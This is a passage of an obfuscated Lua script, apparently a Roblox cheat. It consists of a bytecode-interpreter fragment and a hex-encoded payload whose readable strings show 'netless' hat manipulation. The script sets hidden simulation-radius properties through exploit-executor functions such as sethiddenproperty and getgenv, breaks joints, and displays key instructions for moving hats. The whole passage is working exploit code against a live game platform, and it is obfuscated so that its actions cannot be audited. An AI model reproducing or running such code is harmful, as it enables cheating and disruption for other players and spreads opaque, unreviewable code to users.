v90[v92[2]] then v73=v73 + 1;else v73=v92[3];end elseif (v93<=7) then v90[v92[2]]=v90[v92[3]] + v90[v92[4]];elseif (v93>8) then if (v90[v92[2]]~=v92[4]) then v73=v73 + 1;else v73=v92[3];end else local v154=v92[2];v90[v154](v90[v154 + 1]);end elseif (v93<=14) then if (v93<=11) then if (v93>10) then v73=v92[3];else do return;end end elseif (v93<=12) then local v115=v92[2];local v116=v92[4];local v117=v115 + 2;local v118={v90[v115](v90[v115 + 1],v90[v117])};for v145=1,v116 do v90[v117 + v145]=v118[v145];end local v119=v118[1];if v119 then v90[v117]=v119;v73=v92[3];else v73=v73 + 1;end elseif (v93==13) then v90[v92[2]][v92[3]]=v90[v92[4]];else v90[v92[2]]=v90[v92[3]] -v90[v92[4]];end elseif (v93<=16) then if (v93>15) then v90[v92[2]]();else local v120=v92[2];v90[v120]=v90[v120](v12(v90,v120 + 1,v92[3]));end elseif (v93<=17) then local v122=v92[2];v90[v122](v12(v90,v122 + 1,v74));elseif (v93>18) then local v158=v92[2];v90[v158]=v90[v158](v90[v158 + 1]);else local v160=v92[2];v90[v160]=v90[v160]();end elseif (v93<=29) then if (v93<=24) then if (v93<=21) then if (v93==20) then v90[v92[2]]=v90[v92[3]][v90[v92[4]]];elseif (v90[v92[2]]==v90[v92[4]]) then v73=v73 + 1;else v73=v92[3];end elseif (v93<=22) then v90[v92[2]]=v90[v92[3]];elseif (v93==23) then v90[v92[2]]=v92[3];else local v163=v92[2];local v164={};for v186=1, #v89 do local v187=v89[v186];for v194=0, #v187 do local v195=v187[v194];local v196=v195[1];local v197=v195[2];if ((v196==v90) and (v197>=v163)) then v164[v197]=v196[v197];v195[1]=v164;end end end end elseif (v93<=26) then if (v93>25) then v90[v92[2]]=v28(v85[v92[3]],nil,v36);else local v126=v92[2];local v127,v128=v87(v90[v126](v90[v126 + 1]));v74=(v128 + v126) -1;local v129=0;for v147=v126,v74 do v129=v129 + 1;v90[v147]=v127[v129];end end elseif (v93<=27) then v90[v92[2]][v92[3]]=v92[4];elseif (v93>28) then v90[v92[2]]=v90[v92[3]] -v92[4];else v90[v92[2]]=v36[v92[3]];end elseif (v93<=34) then if (v93<=31) then if (v93>30) then v90[v92[2]]=v90[v92[3]] * v90[v92[4]];else v90[v92[2]]=v90[v92[3]] + v92[4];end elseif (v93<=32) then local v133=v92[2];local v134=v90[v92[3]];v90[v133 + 1]=v134;v90[v133]=v134[v92[4]];elseif (v93==33) then v90[v92[2]]=v92[3]~=0;else local v168=v92[2];local v169,v170=v87(v90[v168](v12(v90,v168 + 1,v92[3])));v74=(v170 + v168) -1;local v171=0;for v188=v168,v74 do v171=v171 + 1;v90[v188]=v169[v171];end end elseif (v93<=37) then if (v93<=35) then v90[v92[2]]=v90[v92[3]][v92[4]];elseif (v93==36) then local v172=v92[3];local v173=v90[v172];for v190=v172 + 1,v92[4] do v173=v173 .. v90[v190];end v90[v92[2]]=v173;else local v175=v92[2];v90[v175]=v90[v175](v12(v90,v175 + 1,v74));end elseif (v93<=38) then v90[v92[2]]=v35[v92[3]];elseif (v93>39) then v90[v92[2]]={};elseif (v90[v92[2]]==v92[4]) then v73=v73 + 1;else v73=v92[3];end v73=v73 + 1;end end A,B=v26(v10(v77));if not A[1] then local v94=v34[4][v73] or "?";error("Script error at [" .. v94 .. "]:" .. A[2]);else return v12(A,2,B);end end;end return v28(v27(),{},v16)();end v14("LOL!B53O0003083O00746F737472696E6703043O006D61746803063O0072616E646F6D024O0084D79741022O0080FF642OCD4103083O00496E7374616E63652O033O006E657703093O005363722O656E47756903043O004E616D6503053O004672616D65030A3O00496D6167654C6162656C03093O00546578744C6162656C030A3O005465787442752O746F6E03063O00506172656E7403043O0067616D6503073O00506C6179657273030B3O004C6F63616C506C61796572030C3O0057616974466F724368696C6403093O00506C61796572477569030E3O005A496E6465784265686176696F7203043O00456E756D03073O005369626C696E6703103O004261636B67726F756E64436F6C6F723303063O00436F6C6F723303073O0066726F6D524742025O00E06F40028O0003163O004261636B67726F756E645472616E73706172656E6379026O00F03F03083O00506F736974696F6E03053O005544696D3202DC9E97BF7F89D53F0271DCE5FFAE7FCE3F03043O0053697A65025O00C07B40025O00707A4003053O00496D61676503293O00682O74703A2O2F3O772E726F626C6F782E636F6D2F612O7365742F3F69643D393637383733382O3702CC6C2F20B6DFB13F029EFECE5FF127B23F025O00806640025O0080424003043O00466F6E74030A3O00536F7572636553616E7303043O005465787403313O004D6164652062793A2028312B313D32206F6E20726F626C6F78292C2028726F75786861766572206F6E2067697468756229030A3O0054657874436F6C6F7233030A3O00546578745363616C65642O0103083O005465787453697A65026O002C40030B3O00546578745772612O706564029E973EFF3346C43F030D3O00496E737472756374696F6E733A02FD493060BFA3B73F02920645609DA4D03F025O00307740026O002O4003123O00286F6E6C7920776F726B7320696E20523629026O003940030E3O005465787458416C69676E6D656E7403043O004C656674030E3O005465787459416C69676E6D656E742O033O00546F70020EA7D63FAB93D43F03223O00312E20457175697020226D6F76652220742O6F6C20746F206D6F766520686174732E022C6F19004235D83F025O00804A4003333O00322E205072652O7320746865205120616E642045206B65797320746F206D6F7665204861747320757020616E6420646F776E2E02473F24C00C1DE03F03293O00332E205072652O73205220616E642054206B65797320746F20726F7461746520616E642074696C742E02238B2C80C688E23F032C3O00342E2045717569702022636F2O6C6964652220742O6F6C20746F20746F2O676C6520636F2O6C6973696F6E2E0200D7344080F4E43F025O00405C4003423O00352E205768656E2066692O6E69736865642077697468204275696C642C205072652O73207468652042206B657920746F20616E63686F72652074686520486174732E03013O0032030C3O00426F72646572436F6C6F7233025O00406540030F3O00426F7264657253697A65506978656C026O000840026O66EA3F029A5O99B93F025O00802O4003013O005803113O004D6F75736542752O746F6E31436C69636B03073O00636F2O6E65637403043O00742O6F6C03043O00542O6F6C03093O0043686172616374657203043O004D6F766503063O00736D2O6F746803063O00426C6F636B7903053O00742O6F6C3303083O004261636B7061636B030A3O004D6F76656D656E74205B03013O005D030A3O0063616E636F2O6C69646503053O00742O6F6C32030B3O00436F2O6C6973696F6E205B2O033O00657175030A3O0047657453657276696365030A3O0052756E5365727669636503093O0048656172746265617403073O00436F2O6E65637403043O0077616974029A5O99C93F03043O006E657874030E3O0047657444657363656E64616E74732O033O0049734103083O00426173655061727403103O0048756D616E6F6964522O6F745061727403053O007061697273030B3O004765744368696C6472656E03053O007461626C6503063O00696E73657274030A3O005374617274657247756903073O00536574436F726503103O0053656E644E6F74696669636174696F6E03053O005469746C65030C3O004E6F74696669636174696F6E030B3O004E65746C652O732052616E03043O0049636F6E032F3O007262787468756D623A2O2F747970653D412O7365742669643D353130373138322O313426773D31353026683D31353003083O004475726174696F6E026O00304003083O004765744D6F75736503093O00776F726B7370616365030E3O0046696E6446697273744368696C6403153O006D69736370617274733139312O302O3130313031300003063O00466F6C64657203073O0067657467656E76030A3O006D616B656D6F7665727303043O00722O6F7403083O0048756D616E6F6964030A3O004175746F526F74617465010003083O00416E63686F72656403063O00434672616D6503093O00412O63652O736F7279026O0024C0026O002440025O0088C340024O00F069F84003073O00706172656E743103073O00566563746F723303063O0048616E646C65026O66E63F03053O00426C6F636B03063O00706172656E7403063O00706C6163657203093O00686974646574656374027B14AE47E17A843F03023O00686403043O006472616703043O006472756E030B3O0042752O746F6E31446F776E03093O0042752O746F6E31557003073O0072752O6E696E6703053O007072696E7403093O002372752O6E696E67232O033O0061686903043O00726F747903043O00726F747803103O0055736572496E70757453657276696365030A3O00496E707574426567616E03063O004865616C746803073O0044657374726F7903053O00666C2O6F72030A3O00666F756E647061727473026O00E03F03013O005A03013O00592O033O0048697403043O0057656C6403023O00433003063O00416E676C65732O033O00726164030C3O0054617267657446696C74657203063O00536D2O6F74680054042O00121C3O00013O00121C000100023O002023000100010003001217000200043O001217000300054O0022000100034O00255O000200121C000100063O002023000100010007001217000200084O001300010002000200100D000100093O00121C000200063O0020230002000200070012170003000A4O001300020002000200121C000300063O0020230003000300070012170004000B4O001300030002000200121C000400063O0020230004000400070012170005000C4O001300040002000200121C000500063O0020230005000500070012170006000C4O001300050002000200121C000600063O0020230006000600070012170007000C4O001300060002000200121C000700063O0020230007000700070012170008000C4O001300070002000200121C000800063O0020230008000800070012170009000C4O001300080002000200121C000900063O002023000900090007001217000A000C4O001300090002000200121C000A00063O002023000A000A0007001217000B000C4O0013000A0002000200121C000B00063O002023000B000B0007001217000C000C4O0013000B0002000200121C000C00063O002023000C000C0007001217000D000D4O0013000C0002000200121C000D000F3O002023000D000D0010002023000D000D0011002O20000D000D0012001217000F00134O000F000D000F000200100D0001000E000D00121C000D00153O002023000D000D0014002023000D000D001600100D00010014000D00100D0002000E000100121C000D00183O002023000D000D0019001217000E001A3O001217000F001B3O0012170010001B4O000F000D0010000200100D00020017000D00301B0002001C001D00121C000D001F3O002023000D000D0007001217000E00203O001217000F001B3O001217001000213O0012170011001B4O000F000D0011000200100D0002001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00233O0012170010001B3O001217001100244O000F000D0011000200100D00020022000D00100D0003000E000200100D000300093O00121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D00030017000D00301B0003001C001D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00233O0012170010001B3O001217001100244O000F000D0011000200100D00030022000D00301B00030025002600100D000400093O00100D0004000E000300121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D00040017000D00301B0004001C001D00121C000D001F3O002023000D000D0007001217000E00273O001217000F001B3O001217001000283O0012170011001B4O000F000D0011000200100D0004001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00293O0012170010001B3O0012170011002A4O000F000D0011000200100D00040022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D0004002B000D00301B0004002D002E00121C000D00183O002023000D000D0019001217000E001B3O001217000F001B3O0012170010001B4O000F000D0010000200100D0004002F000D00301B00040030003100301B00040032003300301B00040034003100100D000500093O00100D0005000E000300121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D00050017000D00301B0005001C001D00121C000D001F3O002023000D000D0007001217000E00273O001217000F001B3O001217001000353O0012170011001B4O000F000D0011000200100D0005001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00293O0012170010001B3O0012170011002A4O000F000D0011000200100D00050022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D0005002B000D00301B0005002D003600121C000D00183O002023000D000D0019001217000E001B3O001217000F001B3O0012170010001B4O000F000D0010000200100D0005002F000D00301B00050030003100301B00050032003300301B00050034003100100D000600093O00100D0006000E000300121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D00060017000D00301B0006001C001D00121C000D001F3O002023000D000D0007001217000E00373O001217000F001B3O001217001000383O0012170011001B4O000F000D0011000200100D0006001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00393O0012170010001B3O0012170011003A4O000F000D0011000200100D00060022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D0006002B000D00301B0006002D003B00121C000D00183O002023000D000D0019001217000E001B3O001217000F001B3O0012170010001B4O000F000D0010000200100D0006002F000D00301B00060032003C00301B00060034003100121C000D00153O002023000D000D003D002023000D000D003E00100D0006003D000D00121C000D00153O002023000D000D003F002023000D000D004000100D0006003F000D00100D000700093O00100D0007000E000300121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D00070017000D00301B0007001C001D00121C000D001F3O002023000D000D0007001217000E00373O001217000F001B3O001217001000413O0012170011001B4O000F000D0011000200100D0007001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00393O0012170010001B3O0012170011003A4O000F000D0011000200100D00070022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D0007002B000D00301B0007002D004200121C000D00183O002023000D000D0019001217000E001B3O001217000F001B3O0012170010001B4O000F000D0010000200100D0007002F000D00301B00070032003C00301B00070034003100121C000D00153O002023000D000D003D002023000D000D003E00100D0007003D000D00121C000D00153O002023000D000D003F002023000D000D004000100D0007003F000D00100D000800093O00100D0008000E000300121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D00080017000D00301B0008001C001D00121C000D001F3O002023000D000D0007001217000E00373O001217000F001B3O001217001000433O0012170011001B4O000F000D0011000200100D0008001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00393O0012170010001B3O001217001100444O000F000D0011000200100D00080022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D0008002B000D00301B0008002D004500121C000D00183O002023000D000D0019001217000E001B3O001217000F001B3O0012170010001B4O000F000D0010000200100D0008002F000D00301B00080032003C00301B00080034003100121C000D00153O002023000D000D003D002023000D000D003E00100D0008003D000D00121C000D00153O002023000D000D003F002023000D000D004000100D0008003F000D00100D000900093O00100D0009000E000300121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D00090017000D00301B0009001C001D00121C000D001F3O002023000D000D0007001217000E00373O001217000F001B3O001217001000463O0012170011001B4O000F000D0011000200100D0009001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00393O0012170010001B3O0012170011003A4O000F000D0011000200100D00090022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D0009002B000D00301B0009002D004700121C000D00183O002023000D000D0019001217000E001B3O001217000F001B3O0012170010001B4O000F000D0010000200100D0009002F000D00301B00090032003C00301B00090034003100121C000D00153O002023000D000D003D002023000D000D003E00100D0009003D000D00121C000D00153O002023000D000D003F002023000D000D004000100D0009003F000D00100D000A00093O00100D000A000E000300121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D000A0017000D00301B000A001C001D00121C000D001F3O002023000D000D0007001217000E00373O001217000F001B3O001217001000483O0012170011001B4O000F000D0011000200100D000A001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00393O0012170010001B3O0012170011003A4O000F000D0011000200100D000A0022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D000A002B000D00301B000A002D004900121C000D00183O002023000D000D0019001217000E001B3O001217000F001B3O0012170010001B4O000F000D0010000200100D000A002F000D00301B000A0032003C00301B000A0034003100121C000D00153O002023000D000D003D002023000D000D003E00100D000A003D000D00121C000D00153O002023000D000D003F002023000D000D004000100D000A003F000D00100D000B00093O00100D000B000E000300121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D000B0017000D00301B000B001C001D00121C000D001F3O002023000D000D0007001217000E00373O001217000F001B3O0012170010004A3O0012170011001B4O000F000D0011000200100D000B001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00393O0012170010001B3O0012170011004B4O000F000D0011000200100D000B0022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D000B002B000D00301B000B002D004C00121C000D00183O002023000D000D0019001217000E001B3O001217000F001B3O0012170010001B4O000F000D0010000200100D000B002F000D00301B000B0032003C00301B000B0034003100121C000D00153O002023000D000D003D002023000D000D003E00100D000B003D000D00121C000D00153O002023000D000D003F002023000D000D004000100D000B003F000D2O0016000D5O001217000E004D4O0024000D000D000E00100D000C0009000D00100D000C000E000200121C000D00183O002023000D000D0019001217000E001A3O001217000F001B3O0012170010001B4O000F000D0010000200100D000C0017000D00121C000D00183O002023000D000D0019001217000E004F3O001217000F001B3O0012170010001B4O000F000D0010000200100D000C004E000D00301B000C0050005100121C000D001F3O002023000D000D0007001217000E00523O001217000F001B3O001217001000533O0012170011001B4O000F000D0011000200100D000C001E000D00121C000D001F3O002023000D000D0007001217000E001B3O001217000F00543O0012170010001B3O001217001100544O000F000D0011000200100D000C0022000D00121C000D00153O002023000D000D002B002023000D000D002C00100D000C002B000D00301B000C002D005500121C000D00183O002023000D000D0019001217000E001A3O001217000F001A3O0012170010001A4O000F000D0010000200100D000C002F000D00301B000C0030003100301B000C0032003300301B000C00340031002023000D000C0056002O20000D000D0057000604000F3O000100012O00163O00014O0001000D000F000100121C000D00063O002023000D000D0007001217000E00593O00121C000F000F3O002023000F000F0010002023000F000F0011002023000F000F005A2O000F000D000F0002001203000D00583O00121C000D00583O00301B000D0009005B001217000D005D3O001203000D005C3O00121C000D00063O002023000D000D0007001217000E00593O00121C000F000F3O002023000F000F0010002023000F000F0011002023000F000F005F2O000F000D000F0002001203000D005E3O00121C000D005E3O001217000E00603O00121C000F005C3O001217001000614O0024000E000E001000100D000D0009000E2O0021000D5O001203000D00623O00121C000D00063O002023000D000D0007001217000E00593O00121C000F000F3O002023000F000F0010002023000F000F0011002023000F000F005F2O000F000D000F0002001203000D00633O00121C000D00633O001217000E00643O00121C000F00013O00121C001000624O0013000F00020002001217001000614O0024000E000E001000100D000D0009000E2O0021000D5O001203000D00653O00121C000D000F3O002O20000D000D0066001217000F00104O000F000D000F0002002023000D000D001100121C000E000F3O002O20000E000E0066001217001000674O000F000E00100002002023000E000E0068002O20000F000E006900060400110001000100012O00163O000D4O0001000F0011000100121C000F006A3O0012170010006B4O0008000F0002000100121C000F006C3O00121C0010000F3O002O20001000100066001217001200104O000F00100012000200202300100010001100202300100010005A002O2000100010006D2O000500100002001100040B3O00770201002O2000140013006E0012170016006F4O000F001400160002002O060014007602013O00040B3O00760201002023001400130009002609001400760201007000040B3O0076020100121C0014000F3O002O20001400140066001217001600674O000F001400160002002023001400140068002O2000140014005700060400160002000100012O00163O00134O00010014001600012O001800125O00060C000F00650201000200040B3O0065020100121C000F006A3O0012170010006B4O0008000F0002000100121C000F000F3O002023000F000F0010002023000F000F0011002023000F000F005A2O002800105O00121C001100713O00121C0012000F3O00202300120012001000202300120012001100202300120012005F002O200012001200722O0019001200136O00113O001300040B3O00950201002O2000160015006E001217001800594O000F001600180002002O060016009502013O00040B3O0095020100100D0015000E000F00121C001600733O0020230016001600742O0016001700104O0016001800154O000100160018000100060C0011008A0201000200040B3O008A020100121C0011006A4O001000110001000100121C001100714O0016001200104O000500110002001300040B3O00A2020100121C0016000F3O00202300160016001000202300160016001100202300160016005F00100D0015000E001600060C0011009D0201000200040B3O009D020100121C0011006A3O001217001200534O000800110002000100121C0011000F3O002O20001100110066001217001300754O000F001100130002002O20001100110076001217001300774O002800143O000300301B00140078007900301B0014002D007A00301B0014007B007C2O00010011001400010012170011007E3O0012030011007D3O00121C0011000F3O002O20001100110066001217001300104O000F001100130002002023001200110011002O2000130012007F2O001300130002000200121C0014000F3O002023001400140080002O20001400140081001217001600824O000F001400160002002627001400D00201008300040B3O00D0020100021A001400033O00121C001500063O002023001500150007001217001600843O00202300170012005A2O000F00150017000200301B00150009008200121C001600854O001200160001000200060400170004000100022O00163O00154O00163O00143O00100D0016008600172O001800145O00121C001400063O002023001400140007001217001500843O00121C001600804O000F00140016000200021A001500053O00021A001600063O00202300170012005A002023001700170070001203001700873O00202300170012005A00202300170017008800301B00170089008A00121C001700873O00301B0017008B003100121C001700873O00121C0018008C3O00202300180018000700121C001900873O00202300190019001E2O001300180002000200100D0017008C001800121C001700713O00121C0018000F3O00202300180018001000202300180018001100202300180018005A002O2000180018006D2O0019001800196O00173O001900040B3O004C0301002O20001C001B006E001217001E008D4O000F001C001E0002002O06001C004C03013O00040B3O004C030100121C001C00023O002023001C001C0003001217001D008E3O001217001E008F4O000F001C001E000200121C001D00023O002023001D001D0003001217001E008E3O001217001F008F4O000F001D001F000200121C001E00013O00121C001F00023O002023001F001F0003001217002000903O001217002100914O0022001F00214O0025001E3O00022O0016001F00153O001217002000923O00202300210012005A00202300210021007000202300210021001E00121C002200933O0020230022002200072O00160023001C3O0012170024001B4O00160025001D4O000F0022002500022O00070021002100220020230022001B009400202300220022002200121C002300933O002023002300230007001217002400953O001217002500953O001217002600954O000F0023002600022O0007002200220023001217002300964O0021002400014O0016002500144O0001001F00250001002023001F00140092001203001F00973O00121C001F00973O00100D001F0009001E2O0016001F00153O001217002000983O00202300210012005A00202300210021007000202300210021001E00121C002200933O002023002200220007001217002300533O001217002400533O001217002500534O000F002200250002001217002300964O002100245O00121C002500974O0001001F002500012O0016001F00164O00160020001B3O00202300210012005A00202300210021007000121C002200973O00202300220022009800121C0023008C3O0020230023002300072O00160024001C3O0012170025001B4O00160026001D4O0022002300264O0011001F3O000100121C001F00863O0020230020001B009400121C0021008C3O0020230021002100070012170022001B3O0012170023001B3O0012170024001B4O000F00210024000200121C002200973O0020230022002200982O002100236O002100246O0001001F0024000100100D001B0009001E00060C001700EF0201000200040B3O00EF02012O0016001700153O001217001800993O00121C001900933O002023001900190007001217001A001B3O001217001B001B3O001217001C001B4O000F0019001C000200121C001A00933O002023001A001A0007001217001B009A3O001217001C009A3O001217001D009A4O000F001A001D0002001217001B00964O0021001C00014O0016001D00144O00010017001D00010020230017001400990012030017009B3O0012170017001B3O0012030017009C4O002100175O0012030017009D3O00202300170013009E002O2000170017006900060400190007000100012O00163O00134O000100170019000100202300170013009F002O2000170017006900060400190008000100012O00163O00134O00010017001900012O0021001700013O001203001700A03O00121C001700A13O001217001800A24O00080017000200010012170017001B3O001203001700A33O0012170017001B3O001203001700A43O0012170017001B3O001203001700A53O00121C0017000F3O002O20001700170066001217001900A64O000F0017001900020020230018001700A7002O20001800180069000604001A0009000100022O00163O00144O00163O00124O00010018001A000100121C0018006A3O0012170019009A4O0013001800020002002O060018004604013O00040B3O0046040100202300180012005A0020230018001800880020230018001800A8002627001800930301001B00040B3O00930301002O200018001400A92O00080018000200012O002100185O001203001800A03O00121C001800A03O002627001800970301008A00040B3O0097030100040B3O0046040100121C0018009C3O002627001800020401001D00040B3O0002040100121C0018005C3O002627001800BA0301005D00040B3O00BA030100121C001800023O0020230018001800AA00121C001900AB3O00202300190019001D00202300190019001E002023001900190055002023001A0012005A002023001A001A0070002023001A001A001E002023001A001A00552O000E00190019001A00201E0019001900AC2O0013001800020002001203001800553O00121C001800023O0020230018001800AA00121C001900AB3O00202300190019001D00202300190019001E0020230019001900AD002023001A0012005A002023001A001A0070002023001A001A001E002023001A001A00AD2O000E00190019001A00201E0019001900AC2O0013001800020002001203001800AD3O00040B3O00CE030100121C001800AB3O00202300180018001D00202300180018001E00202300180018005500202300190012005A00202300190019007000202300190019001E0020230019001900552O000E001800180019001203001800553O00121C001800AB3O00202300180018001D00202300180018001E0020230018001800AD00202300190012005A00202300190019007000202300190019001E0020230019001900AD2O000E001800180019001203001800AD3O00121C001800AB3O00202300180018001D00202300180018001E0020230018001800AE00202300190012005A00202300190019007000202300190019001E0020230019001900AE2O000E001800180019001203001800AE3O00121C001800AB3O00202300180018001D0020230019001300AF00202300190019001E00121C001A00933O002023001A001A0007001217001B001B3O00121C001C00A33O001217001D001B4O000F001A001D00022O000700190019001A00100D0018001E001900202300180012005A00121C001900AB3O00202300190019001D0020230019001900092O00140018001800190020230018001800B000121C0019008C3O00202300190019000700121C001A00553O00121C001B00AE3O00121C001C00AD4O000F0019001C000200121C001A008C3O002023001A001A00B200121C001B00023O002023001B001B00B300121C001C00A54O0013001B0002000200121C001C00023O002023001C001C00B300121C001D00A44O0013001C00020002001217001D001B4O000F001A001D00022O001F00190019001A00100D001800B1001900121C001800AB3O00202300180018001D00202300180018000E00100D001300B4001800121C001800583O00202300180018000E0020230018001800090026090018000D0401005F00040B3O000D040100121C0018009C3O0026090018000D0401001D00040B3O000D04012O0021001800013O001203001800653O00040B3O000F04012O002100185O001203001800653O00121C001800633O00202300180018000E0020230018001800090026090018002A0401005F00040B3O002A040100121C001800623O0026270018001A0401008A00040B3O001A04012O0021001800013O001203001800623O00040B3O001C04012O002100185O001203001800623O00121C001800633O001217001900643O00121C001A00013O00121C001B00624O0013001A00020002001217001B00614O002400190019001B00100D00180009001900121C001800633O00121C0019000F3O00202300190019001000202300190019001100202300190019005F00100D0018000E001900121C0018005E3O00202300180018000E002023001800180009002609001800850301005F00040B3O0085030100121C0018005C3O002627001800350401005D00040B3O00350401001217001800B53O0012030018005C3O00040B3O003704010012170018005D3O0012030018005C3O00121C0018005E3O001217001900603O00121C001A00013O00121C001B005C4O0013001A00020002001217001B00614O002400190019001B00100D00180009001900121C0018005E3O00121C0019000F3O00202300190019001000202300190019001100202300190019005F00100D0018000E001900040B3O0085030100121C0018006A3O0012170019009A4O0013001800020002002O060018005304013O00040B3O0053040100202300180012005A0020230018001800880020230018001800A8002627001800460401001B00040B3O00460401002O200018001400A92O000800180002000100040B3O004604012O000A3O00013O000A3O00023O0003073O00456E61626C6564012O00034O00267O00301B3O000100022O000A3O00017O00033O00903O00903O00913O00053O0003173O004D6178696D756D53696D756C6174696F6E52616469757303043O006D61746803043O006875676503113O0073657468692O64656E70726F706572747903103O0053696D756C6174696F6E526164697573000B4O00267O00121C000100023O00202300010001000300100D3O0001000100121C3O00044O002600015O001217000200053O00121C000300023O0020230003000300032O00013O000300012O000A3O00017O000B3O009E3O009E3O009E3O009E3O009F3O009F3O009F3O009F3O009F3O009F3O00A03O00053O0003083O0056656C6F6369747903073O00566563746F72332O033O006E6577028O00026O003E4000094O00267O00121C000100023O002023000100010003001217000200043O001217000300053O001217000400044O000F00010004000200100D3O000100012O000A3O00017O00093O00A53O00A53O00A53O00A53O00A53O00A53O00A53O00A53O00A63O00093O0003043O0067616D65030A3O004765744F626A6563747303173O00726278612O73657469643A2O2F353736302O323335313403053O00706169727303063O00506172656E74030F3O005269676964697479456E61626C6564030B3O00412O746163686D656E7430030B3O00412O746163686D656E743103173O00726278612O73657469643A2O2F353736302O3235383239041D3O00121C000400013O002O20000400040002001217000600034O000F00040006000200121C000500044O0016000600044O000500050002000700040B3O000C000100100D000900053O00100D00090006000300100D00090007000100100D00090008000200060C000500080001000200040B3O0008000100121C000500013O002O20000500050002001217000700094O000F00050007000200121C000600044O0016000700054O000500060002000800040B3O001A000100100D000A00053O00100D000A0006000300100D000A0007000100100D000A0008000200060C000600160001000200040B3O001600012O000A3O00017O001D3O00BE3O00BE3O00BE3O00BE3O00BF3O00BF3O00BF3O00BF3O00C03O00C13O00C23O00C33O00BF3O00C33O00C53O00C53O00C53O00C53O00C63O00C63O00C63O00C63O00C73O00C83O00C93O00CA3O00C63O00CA3O00CC3O00254O00034O0003123O00506879736963616C50726F706572746965732O033O006E6577028O0003183O00437573746F6D506879736963616C50726F7065727469657303043O0067616D65030A3O0047657453657276696365030A3O0052756E5365727669636503083O00496E7374616E636503043O0050617274030C3O005472616E73706172656E6379026O00F03F030A3O0043616E436F2O6C696465010003043O004E616D6503153O0052616E646F6D2047656E6572617465642070617274030A3O00412O746163686D656E74030B3O00427265616B4A6F696E7473030E3O0046696E6446697273744368696C64030B3O005370656369616C4D65736803073O0044657374726F7903043O004D65736803073O004D6F746F72364403053O00506172743003053O00506172743103023O00433003063O00506172656E74030E3O004163746976654D6F76657248617403073O00506C6179657273030B3O004C6F63616C506C6179657203093O0043686172616374657203083O0048756D616E6F696403043O004469656403073O00436F2O6E65637403053O007072696E7403193O00486174206E6F74206578697374696E672041626F7274696E67055C3O002609000300040001000100040B3O00040001002627000300060001000200040B3O000600012O002100055O00040B3O000700012O0016000500033O0026093O00580001000100040B3O005800012O0016000600023O00121C000700033O002023000700070004001217000800053O001217000900053O001217000A00053O001217000B00053O001217000C00054O000F0007000C000200100D3O0006000700121C000800073O002O20000800080008001217000A00094O000F0008000A000200121C0009000A3O002023000900090004001217000A000B4O0026000B6O000F0009000B000200301B0009000C000D00301B0009000E000F00301B00090010001100121C000A000A3O002023000A000A0004001217000B00124O0016000C00094O000F000A000C000200121C000B000A3O002023000B000B0004001217000C00124O0016000D6O000F000B000D00022O0026000C00014O0016000D00094O0016000E000B4O0016000F000A4O0016001000054O0001000C00100001002O20000C3O00132O0008000C00020001002O20000C3O0014001217000E00154O000F000C000E0002002609000C003A0001000100040B3O003A0001002023000C3O0015002O20000C000C00162O0008000C0002000100040B3O003D0001002023000C3O0017002O20000C000C00162O0008000C0002000100121C000C000A3O002023000C000C0004001217000D00184O0016000E00094O000F000C000E000200100D000C0019000900100D000C001A000600100D000C001B000100100D3O000E0004002023000D3O001C00301B000D0010001D2O0002000D000D3O00121C000E00073O002023000E000E001E002023000E000E001F002023000E000E0020002023000E000E0021002023000E000E0022002O20000E000E002300060400103O000100032O00163O00094O00163O000C4O00163O000D4O000F000E001000022O0016000D000E4O001800065O00040B3O005B000100121C000600243O001217000700254O00080006000200012O000A3O00013O00013O00023O0003073O0044657374726F79030A3O00446973636F2O6E656374000A4O00267O002O205O00012O00083O000200012O00263O00013O002O205O00012O00083O000200012O00263O00023O002O205O00022O00083O000200012O000A3O00017O000A3O00F13O00F13O00F13O00F23O00F23O00F23O00F33O00F33O00F33O00F43O005C3O00D13O00D13O00D13O00D13O00D23O00D23O00D43O00D63O00D63O00D73O00D83O00D83O00D83O00D83O00D83O00D83O00D83O00D83O00D93O00DA3O00DA3O00DA3O00DA3O00DB3O00DB3O00DB3O00DB3O00DB3O00DC3O00DD3O00DE3O00DF3O00DF3O00DF3O00DF3O00DF3O00E03O00E03O00E03O00E03O00E03O00E13O00E13O00E13O00E13O00E13O00E13O00E23O00E23O00E33O00E33O00E33O00E33O00E33O00E43O00E43O00E43O00E43O00E63O00E63O00E63O00E83O00E83O00E83O00E83O00E83O00E93O00EA3O00EB3O00EC3O00ED3O00ED3O00EE3O00F03O00F03O00F03O00F03O00F03O00F03O00F03O00F43O00F43O00F43O00F43O00F03O00F43O00F53O00F53O00F73O00F73O00F73O00F93O000E3O0003083O00496E7374616E63652O033O006E657703043O005061727403093O00776F726B737061636503063O00506172656E7403043O004E616D6503083O00506F736974696F6E03043O0053697A6503053O005368617065030C3O005472616E73706172656E6379026O00F03F03083O00416E63686F726564030A3O0043616E436F2O6C6964650100060E3O00121C000600013O002023000600